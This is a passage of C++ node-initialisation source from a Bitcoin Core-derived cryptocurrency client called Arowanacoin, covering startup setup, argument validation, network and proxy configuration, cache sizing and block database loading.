{
// Rather than throwing std::bad-alloc if allocation fails, terminate
// immediately to (try to) avoid chain corruption.
// Since LogPrintf may itself allocate memory, set the handler directly
// to terminate first.
std::set_new_handler(std::terminate);
LogPrintf("Error: Out of memory. Terminating.\n");
// The log was successful, terminate now.
std::terminate();
};
bool AppInitBasicSetup()
{
// ********************************************************* Step 1: setup
#ifdef _MSC_VER
// Turn off Microsoft heap dump noise
_CrtSetReportMode(_CRT_WARN, _CRTDBG_MODE_FILE);
_CrtSetReportFile(_CRT_WARN, CreateFileA("NUL", GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 0, 0));
// Disable confusing "helpful" text message on abort, Ctrl-C
_set_abort_behavior(0, _WRITE_ABORT_MSG | _CALL_REPORTFAULT);
#endif
#ifdef WIN32
// Enable Data Execution Prevention (DEP)
SetProcessDEPPolicy(PROCESS_DEP_ENABLE);
#endif
if (!SetupNetworking())
return InitError("Initializing networking failed");
#ifndef WIN32
if (!gArgs.GetBoolArg("-sysperms", false)) {
umask(077);
}
// Clean shutdown on SIGTERM
registerSignalHandler(SIGTERM, HandleSIGTERM);
registerSignalHandler(SIGINT, HandleSIGTERM);
// Reopen debug.log on SIGHUP
registerSignalHandler(SIGHUP, HandleSIGHUP);
// Ignore SIGPIPE, otherwise it will bring the daemon down if the client closes unexpectedly
signal(SIGPIPE, SIG_IGN);
#else
SetConsoleCtrlHandler(consoleCtrlHandler, true);
#endif
std::set_new_handler(new_handler_terminate);
return true;
}
bool AppInitParameterInteraction()
{
const CChainParams& chainparams = Params();
// ********************************************************* Step 2: parameter interactions
// also see: InitParameterInteraction()
// Warn if network-specific options (-addnode, -connect, etc) are
// specified in default section of config file, but not overridden
// on the command line or in this network's section of the config file.
std::string network = gArgs.GetChainName();
for (const auto& arg : gArgs.GetUnsuitableSectionOnlyArgs()) {
return InitError(strprintf(_("Config setting for %s only applied on %s network when in [%s] section.").translated, arg, network, network));
}
// Warn if unrecognized section name are present in the config file.
for (const auto& section : gArgs.GetUnrecognizedSections()) {
InitWarning(strprintf("%s:%i " + _("Section [%s] is not recognized.").translated, section.m_file, section.m_line, section.m_name));
}
if (!fs::is_directory(GetBlocksDir())) {
return InitError(strprintf(_("Specified blocks directory \"%s\" does not exist.").translated, gArgs.GetArg("-blocksdir", "").c_str()));
}
// parse and validate enabled filter types
std::string blockfilterindex_value = gArgs.GetArg("-blockfilterindex", DEFAULT_BLOCKFILTERINDEX);
if (blockfilterindex_value == "" || blockfilterindex_value == "1") {
g_enabled_filter_types = AllBlockFilterTypes();
} else if (blockfilterindex_value != "0") {
const std::vector<std::string> names = gArgs.GetArgs("-blockfilterindex");
for (const auto& name : names) {
BlockFilterType filter_type;
if (!BlockFilterTypeByName(name, filter_type)) {
return InitError(strprintf(_("Unknown -blockfilterindex value %s.").translated, name));
}
g_enabled_filter_types.insert(filter_type);
}
}
// if using block pruning, then disallow txindex
if (gArgs.GetArg("-prune", 0)) {
if (gArgs.GetBoolArg("-txindex", DEFAULT_TXINDEX))
return InitError(_("Prune mode is incompatible with -txindex.").translated);
if (!g_enabled_filter_types.empty()) {
return InitError(_("Prune mode is incompatible with -blockfilterindex.").translated);
}
}
// -bind and -whitebind can't be set when not listening
size_t nUserBind = gArgs.GetArgs("-bind").size() + gArgs.GetArgs("-whitebind").size();
if (nUserBind != 0 && !gArgs.GetBoolArg("-listen", DEFAULT_LISTEN)) {
return InitError("Cannot set -bind or -whitebind together with -listen=0");
}
// Make sure enough file descriptors are available
int nBind = std::max(nUserBind, size_t(1));
nUserMaxConnections = gArgs.GetArg("-maxconnections", DEFAULT_MAX_PEER_CONNECTIONS);
nMaxConnections = std::max(nUserMaxConnections, 0);
// Trim requested connection counts, to fit into system limitations
// <int> in std::min<int>(...) to work around FreeBSD compilation issue described in #2695
nFD = RaiseFileDescriptorLimit(nMaxConnections + MIN_CORE_FILEDESCRIPTORS + MAX_ADDNODE_CONNECTIONS);
#ifdef USE_POLL
int fd_max = nFD;
#else
int fd_max = FD_SETSIZE;
#endif
nMaxConnections = std::max(std::min<int>(nMaxConnections, fd_max - nBind - MIN_CORE_FILEDESCRIPTORS - MAX_ADDNODE_CONNECTIONS), 0);
if (nFD < MIN_CORE_FILEDESCRIPTORS)
return InitError(_("Not enough file descriptors available.").translated);
nMaxConnections = std::min(nFD - MIN_CORE_FILEDESCRIPTORS - MAX_ADDNODE_CONNECTIONS, nMaxConnections);
if (nMaxConnections < nUserMaxConnections)
InitWarning(strprintf(_("Reducing -maxconnections from %d to %d, because of system limitations.").translated, nUserMaxConnections, nMaxConnections));
// ********************************************************* Step 3: parameter-to-internal-flags
if (gArgs.IsArgSet("-debug")) {
// Special-case: if -debug=0/-nodebug is set, turn off debugging messages
const std::vector<std::string> categories = gArgs.GetArgs("-debug");
if (std::none_of(categories.begin(), categories.end(),
[](std::string cat){return cat == "0" || cat == "none";})) {
for (const auto& cat : categories) {
if (!LogInstance().EnableCategory(cat)) {
InitWarning(strprintf(_("Unsupported logging category %s=%s.").translated, "-debug", cat));
}
}
}
}
// Now remove the logging categories which were explicitly excluded
for (const std::string& cat : gArgs.GetArgs("-debugexclude")) {
if (!LogInstance().DisableCategory(cat)) {
InitWarning(strprintf(_("Unsupported logging category %s=%s.").translated, "-debugexclude", cat));
}
}
// Checkmempool and checkblockindex default to true in regtest mode
int ratio = std::min<int>(std::max<int>(gArgs.GetArg("-checkmempool", chainparams.DefaultConsistencyChecks() ? 1 : 0), 0), 1000000);
if (ratio != 0) {
mempool.setSanityCheck(1.0 / ratio);
}
fCheckBlockIndex = gArgs.GetBoolArg("-checkblockindex", chainparams.DefaultConsistencyChecks());
fCheckpointsEnabled = gArgs.GetBoolArg("-checkpoints", DEFAULT_CHECKPOINTS_ENABLED);
hashAssumeValid = uint256S(gArgs.GetArg("-assumevalid", chainparams.GetConsensus().defaultAssumeValid.GetHex()));
if (!hashAssumeValid.IsNull())
LogPrintf("Assuming ancestors of block %s have valid signatures.\n", hashAssumeValid.GetHex());
else
LogPrintf("Validating signatures for all blocks.\n");
if (gArgs.IsArgSet("-minimumchainwork")) {
const std::string minChainWorkStr = gArgs.GetArg("-minimumchainwork", "");
if (!IsHexNumber(minChainWorkStr)) {
return InitError(strprintf("Invalid non-hex (%s) minimum chain work value specified", minChainWorkStr));
}
nMinimumChainWork = UintToArith256(uint256S(minChainWorkStr));
} else {
nMinimumChainWork = UintToArith256(chainparams.GetConsensus().nMinimumChainWork);
}
LogPrintf("Setting nMinimumChainWork=%s\n", nMinimumChainWork.GetHex());
if (nMinimumChainWork < UintToArith256(chainparams.GetConsensus().nMinimumChainWork)) {
LogPrintf("Warning: nMinimumChainWork set below default value of %s\n", chainparams.GetConsensus().nMinimumChainWork.GetHex());
}
// mempool limits
int64_t nMempoolSizeMax = gArgs.GetArg("-maxmempool", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000;
int64_t nMempoolSizeMin = gArgs.GetArg("-limitdescendantsize", DEFAULT_DESCENDANT_SIZE_LIMIT) * 1000 * 40;
if (nMempoolSizeMax < 0 || nMempoolSizeMax < nMempoolSizeMin)
return InitError(strprintf(_("-maxmempool must be at least %d MB").translated, std::ceil(nMempoolSizeMin / 1000000.0)));
// incremental relay fee sets the minimum feerate increase necessary for BIP 125 replacement in the mempool
// and the amount the mempool min fee increases above the feerate of txs evicted due to mempool limiting.
if (gArgs.IsArgSet("-incrementalrelayfee"))
{
CAmount n = 0;
if (!ParseMoney(gArgs.GetArg("-incrementalrelayfee", ""), n))
return InitError(AmountErrMsg("incrementalrelayfee", gArgs.GetArg("-incrementalrelayfee", "")).translated);
incrementalRelayFee = CFeeRate(n);
}
// -par=0 means autodetect, but nScriptCheckThreads==0 means no concurrency
nScriptCheckThreads = gArgs.GetArg("-par", DEFAULT_SCRIPTCHECK_THREADS);
if (nScriptCheckThreads <= 0)
nScriptCheckThreads += GetNumCores();
if (nScriptCheckThreads <= 1)
nScriptCheckThreads = 0;
else if (nScriptCheckThreads > MAX_SCRIPTCHECK_THREADS)
nScriptCheckThreads = MAX_SCRIPTCHECK_THREADS;
// block pruning; get the amount of disk space (in MiB) to allot for block & undo files
int64_t nPruneArg = gArgs.GetArg("-prune", 0);
if (nPruneArg < 0) {
return InitError(_("Prune cannot be configured with a negative value.").translated);
}
nPruneTarget = (uint64_t) nPruneArg * 1024 * 1024;
if (nPruneArg == 1) { // manual pruning: -prune=1
LogPrintf("Block pruning enabled. Use RPC call pruneblockchain(height) to manually prune block and undo files.\n");
nPruneTarget = std::numeric_limits<uint64_t>::max();
fPruneMode = true;
} else if (nPruneTarget) {
if (nPruneTarget < MIN_DISK_SPACE_FOR_BLOCK_FILES) {
return InitError(strprintf(_("Prune configured below the minimum of %d MiB. Please use a higher number.").translated, MIN_DISK_SPACE_FOR_BLOCK_FILES / 1024 / 1024));
}
LogPrintf("Prune configured to target %u MiB on disk for block and undo files.\n", nPruneTarget / 1024 / 1024);
fPruneMode = true;
}
nConnectTimeout = gArgs.GetArg("-timeout", DEFAULT_CONNECT_TIMEOUT);
if (nConnectTimeout <= 0) {
nConnectTimeout = DEFAULT_CONNECT_TIMEOUT;
}
peer_connect_timeout = gArgs.GetArg("-peertimeout", DEFAULT_PEER_CONNECT_TIMEOUT);
if (peer_connect_timeout <= 0) {
return InitError("peertimeout cannot be configured with a negative value.");
}
if (gArgs.IsArgSet("-minrelaytxfee")) {
CAmount n = 0;
if (!ParseMoney(gArgs.GetArg("-minrelaytxfee", ""), n)) {
return InitError(AmountErrMsg("minrelaytxfee", gArgs.GetArg("-minrelaytxfee", "")).translated);
}
// High fee check is done afterward in CWallet::CreateWalletFromFile()
::minRelayTxFee = CFeeRate(n);
} else if (incrementalRelayFee > ::minRelayTxFee) {
// Allow only setting incrementalRelayFee to control both
::minRelayTxFee = incrementalRelayFee;
LogPrintf("Increasing minrelaytxfee to %s to match incrementalrelayfee\n",::minRelayTxFee.ToString());
}
// Sanity check argument for min fee for including tx in block
// TODO: Harmonize which arguments need sanity checking and where that happens
if (gArgs.IsArgSet("-blockmintxfee"))
{
CAmount n = 0;
if (!ParseMoney(gArgs.GetArg("-blockmintxfee", ""), n))
return InitError(AmountErrMsg("blockmintxfee", gArgs.GetArg("-blockmintxfee", "")).translated);
}
// Feerate used to define dust. Shouldn't be changed lightly as old
// implementations may inadvertently create non-standard transactions
if (gArgs.IsArgSet("-dustrelayfee"))
{
CAmount n = 0;
if (!ParseMoney(gArgs.GetArg("-dustrelayfee", ""), n))
return InitError(AmountErrMsg("dustrelayfee", gArgs.GetArg("-dustrelayfee", "")).translated);
dustRelayFee = CFeeRate(n);
}
fRequireStandard = !gArgs.GetBoolArg("-acceptnonstdtxn", !chainparams.RequireStandard());
if (!chainparams.IsTestChain() && !fRequireStandard) {
return InitError(strprintf("acceptnonstdtxn is not currently supported for %s chain", chainparams.NetworkIDString()));
}
nBytesPerSigOp = gArgs.GetArg("-bytespersigop", nBytesPerSigOp);
if (!g_wallet_init_interface.ParameterInteraction()) return false;
fIsBareMultisigStd = gArgs.GetBoolArg("-permitbaremultisig", DEFAULT_PERMIT_BAREMULTISIG);
fAcceptDatacarrier = gArgs.GetBoolArg("-datacarrier", DEFAULT_ACCEPT_DATACARRIER);
nMaxDatacarrierBytes = gArgs.GetArg("-datacarriersize", nMaxDatacarrierBytes);
// Option to startup with mocktime set (used for regression testing):
SetMockTime(gArgs.GetArg("-mocktime", 0)); // SetMockTime(0) is a no-op
if (gArgs.GetBoolArg("-peerbloomfilters", DEFAULT_PEERBLOOMFILTERS))
nLocalServices = ServiceFlags(nLocalServices | NODE_BLOOM);
if (gArgs.GetArg("-rpcserialversion", DEFAULT_RPC_SERIALIZE_VERSION) < 0)
return InitError("rpcserialversion must be non-negative.");
if (gArgs.GetArg("-rpcserialversion", DEFAULT_RPC_SERIALIZE_VERSION) > 1)
return InitError("unknown rpcserialversion requested.");
nMaxTipAge = gArgs.GetArg("-maxtipage", DEFAULT_MAX_TIP_AGE);
return true;
}
static bool LockDataDirectory(bool probeOnly)
{
// Make sure only a single Arowanacoin process is using the data directory.
fs::path datadir = GetDataDir();
if (!DirIsWritable(datadir)) {
return InitError(strprintf(_("Cannot write to data directory '%s'; check permissions.").translated, datadir.string()));
}
if (!LockDirectory(datadir, ".lock", probeOnly)) {
return InitError(strprintf(_("Cannot obtain a lock on data directory %s. %s is probably already running.").translated, datadir.string(), PACKAGE_NAME));
}
return true;
}
bool AppInitSanityChecks()
{
// ********************************************************* Step 4: sanity checks
// Initialize elliptic curve code
std::string sha256_algo = SHA256AutoDetect();
LogPrintf("Using the '%s' SHA256 implementation\n", sha256_algo);
RandomInit();
ECC_Start();
globalVerifyHandle.reset(new ECCVerifyHandle());
// Sanity check
if (!InitSanityCheck())
return InitError(strprintf(_("Initialization sanity check failed. %s is shutting down.").translated, PACKAGE_NAME));
// Probe the data directory lock to give an early error message, if possible
// We cannot hold the data directory lock here, as the forking for daemon() hasn't yet happened,
// and a fork will cause weird behavior to it.
return LockDataDirectory(true);
}
bool AppInitLockDataDirectory()
{
// After daemonization get the data directory lock again and hold on to it until exit
// This creates a slight window for a race condition to happen, however this condition is harmless: it
// will at most make us exit without printing a message to console.
if (!LockDataDirectory(false)) {
// Detailed error printed inside LockDataDirectory
return false;
}
return true;
}
bool AppInitMain(InitInterfaces& interfaces)
{
const CChainParams& chainparams = Params();
// ********************************************************* Step 4a: application initialization
if (!CreatePidFile()) {
// Detailed error printed inside CreatePidFile().
return false;
}
if (LogInstance().m_print_to_file) {
if (gArgs.GetBoolArg("-shrinkdebugfile", LogInstance().DefaultShrinkDebugFile())) {
// Do this first since it both loads a bunch of debug.log into memory,
// and because this needs to happen before any other debug.log printing
LogInstance().ShrinkDebugFile();
}
}
if (!LogInstance().StartLogging()) {
return InitError(strprintf("Could not open debug log file %s",
LogInstance().m_file_path.string()));
}
if (!LogInstance().m_log_timestamps)
LogPrintf("Startup time: %s\n", FormatISO8601DateTime(GetTime()));
LogPrintf("Default data directory %s\n", GetDefaultDataDir().string());
LogPrintf("Using data directory %s\n", GetDataDir().string());
// Only log conf file usage message if conf file actually exists.
fs::path config_file_path = GetConfigFile(gArgs.GetArg("-conf", BITCOIN_CONF_FILENAME));
if (fs::exists(config_file_path)) {
LogPrintf("Config file: %s\n", config_file_path.string());
} else if (gArgs.IsArgSet("-conf")) {
// Warn if no conf file exists at path provided by user
InitWarning(strprintf(_("The specified config file %s does not exist\n").translated, config_file_path.string()));
} else {
// Not categorizing as "Warning" because it's the default behavior
LogPrintf("Config file: %s (not found, skipping)\n", config_file_path.string());
}
LogPrintf("Using at most %i automatic connections (%i file descriptors available)\n", nMaxConnections, nFD);
// Warn about relative -datadir path.
if (gArgs.IsArgSet("-datadir") && !fs::path(gArgs.GetArg("-datadir", "")).is_absolute()) {
LogPrintf("Warning: relative datadir option '%s' specified, which will be interpreted relative to the " /* Continued */
"current working directory '%s'. This is fragile, because if bitcoin is started in the future "
"from a different location, it will be unable to locate the current data files. There could "
"also be data loss if bitcoin is started while in a temporary directory.\n",
gArgs.GetArg("-datadir", ""), fs::current_path().string());
}
InitSignatureCache();
InitScriptExecutionCache();
LogPrintf("Using %u threads for script verification\n", nScriptCheckThreads);
if (nScriptCheckThreads) {
for (int i=0; i<nScriptCheckThreads-1; i++)
threadGroup.create_thread([i]() { return ThreadScriptCheck(i); });
}
// Start the lightweight task scheduler thread
CScheduler::Function serviceLoop = std::bind(&CScheduler::serviceQueue, &scheduler);
threadGroup.create_thread(std::bind(&TraceThread<CScheduler::Function>, "scheduler", serviceLoop));
GetMainSignals().RegisterBackgroundSignalScheduler(scheduler);
GetMainSignals().RegisterWithMempoolSignals(mempool);
// Create client interfaces for wallets that are supposed to be loaded
// according to -wallet and -disablewallet options. This only constructs
// the interfaces, it doesn't load wallet data. Wallets actually get loaded
// when load() and start() interface methods are called below.
g_wallet_init_interface.Construct(interfaces);
/* Register RPC commands regardless of -server setting so they will be
* available in the GUI RPC console even if external calls are disabled.
*/
RegisterAllCoreRPCCommands(tableRPC);
for (const auto& client : interfaces.chain_clients) {
client->registerRpcs();
}
g_rpc_interfaces = &interfaces;
#if ENABLE_ZMQ
RegisterZMQRPCCommands(tableRPC);
#endif
/* Start the RPC server already. It will be started in "warmup" mode
* and not really process calls already (but it will signify connections
* that the server is there and will be ready later). Warmup mode will
* be disabled when initialisation is finished.
*/
if (gArgs.GetBoolArg("-server", false))
{
uiInterface.InitMessage_connect(SetRPCWarmupStatus);
if (!AppInitServers())
return InitError(_("Unable to start HTTP server. See debug log for details.").translated);
}
// ********************************************************* Step 5: verify wallet database integrity
for (const auto& client : interfaces.chain_clients) {
if (!client->verify()) {
return false;
}
}
// ********************************************************* Step 6: network initialization
// Note that we absolutely cannot open any actual connections
// until the very end ("start node") as the UTXO/block state
// is not yet setup and may end up being set up twice if we
// need to reindex later.
assert(!g_banman);
g_banman = MakeUnique<BanMan>(GetDataDir() / "banlist.dat", &uiInterface, gArgs.GetArg("-bantime", DEFAULT_MISBEHAVING_BANTIME));
assert(!g_connman);
g_connman = std::unique_ptr<CConnman>(new CConnman(GetRand(std::numeric_limits<uint64_t>::max()), GetRand(std::numeric_limits<uint64_t>::max())));
peerLogic.reset(new PeerLogicValidation(g_connman.get(), g_banman.get(), scheduler, gArgs.GetBoolArg("-enablebip61", DEFAULT_ENABLE_BIP61)));
RegisterValidationInterface(peerLogic.get());
// sanitize comments per BIP-0014, format user agent and check total size
std::vector<std::string> uacomments;
for (const std::string& cmt : gArgs.GetArgs("-uacomment")) {
if (cmt != SanitizeString(cmt, SAFE_CHARS_UA_COMMENT))
return InitError(strprintf(_("User Agent comment (%s) contains unsafe characters.").translated, cmt));
uacomments.push_back(cmt);
}
strSubVersion = FormatSubVersion(CLIENT_NAME, CLIENT_VERSION, uacomments);
if (strSubVersion.size() > MAX_SUBVERSION_LENGTH) {
return InitError(strprintf(_("Total length of network version string (%i) exceeds maximum length (%i). Reduce the number or size of uacomments.").translated,
strSubVersion.size(), MAX_SUBVERSION_LENGTH));
}
if (gArgs.IsArgSet("-onlynet")) {
std::set<enum Network> nets;
for (const std::string& snet : gArgs.GetArgs("-onlynet")) {
enum Network net = ParseNetwork(snet);
if (net == NET_UNROUTABLE)
return InitError(strprintf(_("Unknown network specified in -onlynet: '%s'").translated, snet));
nets.insert(net);
}
for (int n = 0; n < NET_MAX; n++) {
enum Network net = (enum Network)n;
if (!nets.count(net))
SetReachable(net, false);
}
}
// Check for host lookup allowed before parsing any network related parameters
fNameLookup = gArgs.GetBoolArg("-dns", DEFAULT_NAME_LOOKUP);
bool proxyRandomize = gArgs.GetBoolArg("-proxyrandomize", DEFAULT_PROXYRANDOMIZE);
// -proxy sets a proxy for all outgoing network traffic
// -noproxy (or -proxy=0) as well as the empty string can be used to not set a proxy, this is the default
std::string proxyArg = gArgs.GetArg("-proxy", "");
SetReachable(NET_ONION, false);
if (proxyArg != "" && proxyArg != "0") {
CService proxyAddr;
if (!Lookup(proxyArg.c_str(), proxyAddr, 9050, fNameLookup)) {
return InitError(strprintf(_("Invalid -proxy address or hostname: '%s'").translated, proxyArg));
}
proxyType addrProxy = proxyType(proxyAddr, proxyRandomize);
if (!addrProxy.IsValid())
return InitError(strprintf(_("Invalid -proxy address or hostname: '%s'").translated, proxyArg));
SetProxy(NET_IPV4, addrProxy);
SetProxy(NET_IPV6, addrProxy);
SetProxy(NET_ONION, addrProxy);
SetNameProxy(addrProxy);
SetReachable(NET_ONION, true); // by default, -proxy sets onion as reachable, unless -noonion later
}
// -onion can be used to set only a proxy for .onion, or override normal proxy for .onion addresses
// -noonion (or -onion=0) disables connecting to .onion entirely
// An empty string is used to not override the onion proxy (in which case it defaults to -proxy set above, or none)
std::string onionArg = gArgs.GetArg("-onion", "");
if (onionArg != "") {
if (onionArg == "0") { // Handle -noonion/-onion=0
SetReachable(NET_ONION, false);
} else {
CService onionProxy;
if (!Lookup(onionArg.c_str(), onionProxy, 9050, fNameLookup)) {
return InitError(strprintf(_("Invalid -onion address or hostname: '%s'").translated, onionArg));
}
proxyType addrOnion = proxyType(onionProxy, proxyRandomize);
if (!addrOnion.IsValid())
return InitError(strprintf(_("Invalid -onion address or hostname: '%s'").translated, onionArg));
SetProxy(NET_ONION, addrOnion);
SetReachable(NET_ONION, true);
}
}
// see Step 2: parameter interactions for more information about these
fListen = gArgs.GetBoolArg("-listen", DEFAULT_LISTEN);
fDiscover = gArgs.GetBoolArg("-discover", true);
g_relay_txes = !gArgs.GetBoolArg("-blocksonly", DEFAULT_BLOCKSONLY);
for (const std::string& strAddr : gArgs.GetArgs("-externalip")) {
CService addrLocal;
if (Lookup(strAddr.c_str(), addrLocal, GetListenPort(), fNameLookup) && addrLocal.IsValid())
AddLocal(addrLocal, LOCAL_MANUAL);
else
return InitError(ResolveErrMsg("externalip", strAddr));
}
#if ENABLE_ZMQ
g_zmq_notification_interface = CZMQNotificationInterface::Create();
if (g_zmq_notification_interface) {
RegisterValidationInterface(g_zmq_notification_interface);
}
#endif
uint64_t nMaxOutboundLimit = 0; //unlimited unless -maxuploadtarget is set
uint64_t nMaxOutboundTimeframe = MAX_UPLOAD_TIMEFRAME;
if (gArgs.IsArgSet("-maxuploadtarget")) {
nMaxOutboundLimit = gArgs.GetArg("-maxuploadtarget", DEFAULT_MAX_UPLOAD_TARGET)*1024*1024;
}
// ********************************************************* Step 7: load block chain
fReindex = gArgs.GetBoolArg("-reindex", false);
bool fReindexChainState = gArgs.GetBoolArg("-reindex-chainstate", false);
// cache size calculations
int64_t nTotalCache = (gArgs.GetArg("-dbcache", nDefaultDbCache) << 20);
nTotalCache = std::max(nTotalCache, nMinDbCache << 20); // total cache cannot be less than nMinDbCache
nTotalCache = std::min(nTotalCache, nMaxDbCache << 20); // total cache cannot be greater than nMaxDbcache
int64_t nBlockTreeDBCache = std::min(nTotalCache / 8, nMaxBlockDBCache << 20);
nTotalCache -= nBlockTreeDBCache;
int64_t nTxIndexCache = std::min(nTotalCache / 8, gArgs.GetBoolArg("-txindex", DEFAULT_TXINDEX) ? nMaxTxIndexCache << 20 : 0);
nTotalCache -= nTxIndexCache;
int64_t filter_index_cache = 0;
if (!g_enabled_filter_types.empty()) {
size_t n_indexes = g_enabled_filter_types.size();
int64_t max_cache = std::min(nTotalCache / 8, max_filter_index_cache << 20);
filter_index_cache = max_cache / n_indexes;
nTotalCache -= filter_index_cache * n_indexes;
}
int64_t nCoinDBCache = std::min(nTotalCache / 2, (nTotalCache / 4) + (1 << 23)); // use 25%-50% of the remainder for disk cache
nCoinDBCache = std::min(nCoinDBCache, nMaxCoinsDBCache << 20); // cap total coins db cache
nTotalCache -= nCoinDBCache;
nCoinCacheUsage = nTotalCache; // the rest goes to in-memory cache
int64_t nMempoolSizeMax = gArgs.GetArg("-maxmempool", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000;
LogPrintf("Cache configuration:\n");
LogPrintf("* Using %.1f MiB for block index database\n", nBlockTreeDBCache * (1.0 / 1024 / 1024));
if (gArgs.GetBoolArg("-txindex", DEFAULT_TXINDEX)) {
LogPrintf("* Using %.1f MiB for transaction index database\n", nTxIndexCache * (1.0 / 1024 / 1024));
}
for (BlockFilterType filter_type : g_enabled_filter_types) {
LogPrintf("* Using %.1f MiB for %s block filter index database\n",
filter_index_cache * (1.0 / 1024 / 1024), BlockFilterTypeName(filter_type));
}
LogPrintf("* Using %.1f MiB for chain state database\n", nCoinDBCache * (1.0 / 1024 / 1024));
LogPrintf("* Using %.1f MiB for in-memory UTXO set (plus up to %.1f MiB of unused mempool space)\n", nCoinCacheUsage * (1.0 / 1024 / 1024), nMempoolSizeMax * (1.0 / 1024 / 1024));
bool fLoaded = false;
while (!fLoaded && !ShutdownRequested()) {
bool fReset = fReindex;
std::string strLoadError;
uiInterface.InitMessage(_("Loading block index...").translated);
do {
const int64_t load_block_index_start_time = GetTimeMillis();
bool is_coinsview_empty;
try {
LOCK(cs_main);
// This statement makes ::ChainstateActive() usable.
g_chainstate = MakeUnique<CChainState>();
UnloadBlockIndex();
// new CBlockTreeDB tries to delete the existing file, which
// fails if it's still open from the previous loop. Close it first:
pblocktree.reset();
pblocktree.reset(new CBlockTreeDB(nBlockTreeDBCache, false, fReset));
if (fReset) {
pblocktree->WriteReindexing(true);
//If we're reindexing in prune mode, wipe away unusable block files and all undo data files
if (fPruneMode)
CleanupBlockRevFiles();
}
if (ShutdownRequested()) break;
// LoadBlockIndex will load fHavePruned if we've ever removed a
// block file from disk.
// Note that it also sets fReindex based on the disk flag!
// From here on out fReindex and fReset mean something different!
if (!LoadBlockIndex(chainparams)) {
if (ShutdownRequested()) break;
strLoadError = _("Error loading block database").translated;
break;
}
// If the loaded chain has a wrong genesis, bail out immediately
// (we're likely using a testnet datadir, or the other way around).
if (!::BlockIndex().empty() &&
!LookupBlockIndex(chainparams.GetConsensus().hashGenesisBlock)) {
return InitError(_("Incorrect or no genesis block found. Wrong datadir for network?").translated);
}
// Check for changed -prune state. What we are concerned about is a user who has pruned blocks
// in the past, but is now trying to run unpruned.
if (fHavePruned && !fPruneMode) {
strLoadError = _("You need to rebuild the database using -reindex to go back to unpruned mode. This will redownload the entire blockchain").translated;
break;
}
// At this point blocktree args are consistent with what's on disk.
// If we're not mid-reindex (based on disk + args), add a genesis block on disk
// (otherwise we use the one already on disk).
// This is called again in ThreadImport after the reindex completes.
if (!fReindex && !LoadGenesisBlock(chainparams)) {
strLoadError = _("Error initializing block database").translated;
break;
}
// At this point we're either in reindex or we've loaded a useful
// block tree into BlockIndex()!
::ChainstateActive().InitCoinsDB(
/* cache_size_bytes */ nCoinDBCache,
/* in_memory */ false,
/* should_wipe */ fReset || fReindexChainState);
::ChainstateActive().CoinsErrorCatcher().AddReadErrCallback([]() {
uiInterface.ThreadSafeMessageBox(
_("Error reading from database, shutting down.").translated,
"", CClientUIInterface::MSG_ERROR);
});
// If necessary, upgrade from older database format.
// This is a no-op if we cleared the coinsviewdb with -reindex or -reindex-chainstate
if (!::ChainstateActive().CoinsDB().Upgrade()) {
strLoadError = _("Error upgrading chainstate database").translated;
break;
}
// ReplayBlocks is a no-op if we cleared the coinsviewdb with -reindex or -reindex-chainstate
if (!::ChainstateActive().ReplayBlocks(chainparams)) {
strLoadError = _("Unable to replay blocks. You will need to rebuild the database using -reindex-chainstate.").translated;
break;
}
// The on-disk coinsdb is now in a good state, create the cache
::ChainstateActive().InitCoinsCache();
assert(::ChainstateActive().CanFlushToDisk());
is_coinsview_empty = fReset || fReindexChainState ||
::ChainstateActive().CoinsTip().GetBestBlock().IsNull();
if (!is_coinsview_empty) {
// LoadChainTip initializes the chain based on CoinsTip()'s best block
if (!::ChainstateActive().LoadChainTip(chainparams)) {
strLoadError = _("Error initializing block database").translated;
break;
}
assert(::ChainActive().Tip() != nullptr);
}
} catch (const std::exception& e) {
LogPrintf("%s\n", e.what());
strLoadError = _("Error opening block database").translated;
break;
}
if (!fReset) {
// Note that RewindBlockIndex MUST run even if we're about to -reindex-chainstate.
// It both disconnects blocks based on ::ChainActive(), and drops block data in
// BlockIndex() based on lack of available witness data.
uiInterface.InitMessage(_("Rewinding blocks...").translated);
if (!RewindBlockIndex(chainparams)) {
strLoadError = _("Unable to rewind the database to a pre-fork state. You will need to redownload the blockchain").translated;
break;
}
}
try {
LOCK(cs_main);
if (!is_coinsview_empty) {
uiInterface.InitMessage(_("Verifying blocks...").translated);
if (fHavePruned && gArgs.GetArg("-checkblocks", DEFAULT_CHECKBLOCKS) > MIN_BLOCKS_TO_KEEP) {
LogPrintf("Prune: pruned datadir may not have more than %d blocks; only checking available blocks\n",
MIN_BLOCKS_TO_KEEP);
}
CBlockIndex* tip = ::ChainActive().Tip();
RPCNotifyBlockChange(true, tip);
if (tip && tip->nTime > GetAdjustedTime() + 2 * 60 * 60) {
strLoadError = _("The block database contains a block which appears to be from the future. "
"This may be due to your computer's date and time being set incorrectly. "
"Only rebuild the block database if you are sure that your computer's date and time are correct").translated;
break;
}
if (!CVerifyDB().VerifyDB(chainparams, &::ChainstateActive().CoinsDB(), gArgs.GetArg("-checklevel", DEFAULT_CHECKLEVEL),
gArgs.GetArg("-checkblocks", DEFAULT_CHECKBLOCKS))) {
strLoadError = _("Corrupted block database detected").translated;
break;
}
}
} catch (const std::exception& e) {
LogPrintf("%s\n", e.what());
strLoadError = _("Error opening block database").translated;
break;
}
fLoaded = true;
LogPrintf(" block index %15dms\n", GetTimeMillis() - load_block_index_start_time);
} while(false);
if (!fLoaded && !ShutdownRequested()) {
// first suggest a reindex
if (!fReset) {
bool fRet = uiInterface.ThreadSafeQuestion(
strLoadError + ".\n\n" + _("Do you want to rebuild the block database now?").translated,
strLoadError + ".\nPlease restart with -reindex or -reindex-chainstate to recover.",
"", CClientUIInterface::MSG_ERROR | CClientUIInterface::BTN_ABORT);
if (fRet) {
fReindex = true;
AbortShutdown();
} else {
LogPrintf("Aborted block database rebuild. Exiting.\n");
return false;
}
} else {
return InitError(strLoadError);
}
}
}
// As LoadBlockIndex can take several minutes, it's possible the user
// requested to kill the GUI during the last operation. If so, exit.
// As the program has not fully started yet, Shutdown() is possibly overkill.
if (ShutdownRequested()) {
LogPrintf("Shutdown requested. Exiting.\n");
return false;
}
fs::path est_path = GetDataDir() / FEE_ESTIMATES_FILENAME;
CAutoFile est_filein(fsbridge::fopen(est_path, "rb"), SER_DISK, CLIENT_VERSION);
// Allowed to fail as this file IS missing on first startup.
if (!est_filein.IsNull())
::feeEstimator.Read(est_filein);
fFeeEstimatesInitialized = true;
// ********************************************************* Step 8: start indexers
if (gArgs.GetBoolArg("-txindex", DEFAULT_TXINDEX)) {
